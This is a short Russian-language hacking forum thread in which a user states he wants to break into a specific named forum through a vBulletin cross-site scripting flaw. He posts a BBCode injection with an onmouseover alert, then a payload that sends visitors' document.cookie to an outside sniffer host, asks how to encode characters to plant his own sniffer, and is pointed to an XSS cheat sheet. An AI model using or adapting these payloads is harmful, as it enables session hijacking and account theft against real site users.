Проблемы с vBulletin

[KP0T]

Короче хочу ломануть вот этот форумчик _http://forum.polarnet.ru/

вот этот код
[HTML]http://www.wj.com]wj wj (http://www.wj.com

даёт нам что-то типа [HTML]<A href='http://www.wj.com<a href="http://www.wj.com' target=_blank>wj
<FONT onmouseover=alert(/Hello_from_WJ/) face='"Arial' size=+7 &quot;>wj</FONT>"
target="_blank"&gt;http://www.wj.com]wj &lt;font face="Ar.../)
/"&gt;wj&lt;/font&gt;</A></A>

Отсюда делаем вывод что xxs возможна, но как снифер поюзать?! вот в чём вопрос, потому что код типа
[HTML]http://www.wj.com]wj.src="http://narod.ws/xss/s.gif?"+document.cookie); /]wj (http://www.wj.com[url)

Нехрена нам не даёт, а именно в сорцах всё смотрится так [HTML]<A href='http://www.wj.com<a href="http://www.wj.com'
target=_blank>wj.src="http://narod.ws/xss/s.gif?"+document.cookie);
/]wj " target="_blank"&gt;http://www.wj.com]wj[FONT=Arial...]wj
[/FONT</A>

Вообщем ай нид хелп.

[KP0T]

Усё нашёл эксплойт на форуме, вот этот здесь http://www.forum.antichat.ru/threadnav11693-1-10.html

Тока теперь раскажите как шифровать эти спец символы, хочу свой снифак воткнуть.

[Thesaurus]

http://ha.ckers.org/xss.html

V samom nizy. :rolleyes:

[KP0T]

Сенкс большой

[qBiN]

ПРоблема решена,тему закрываю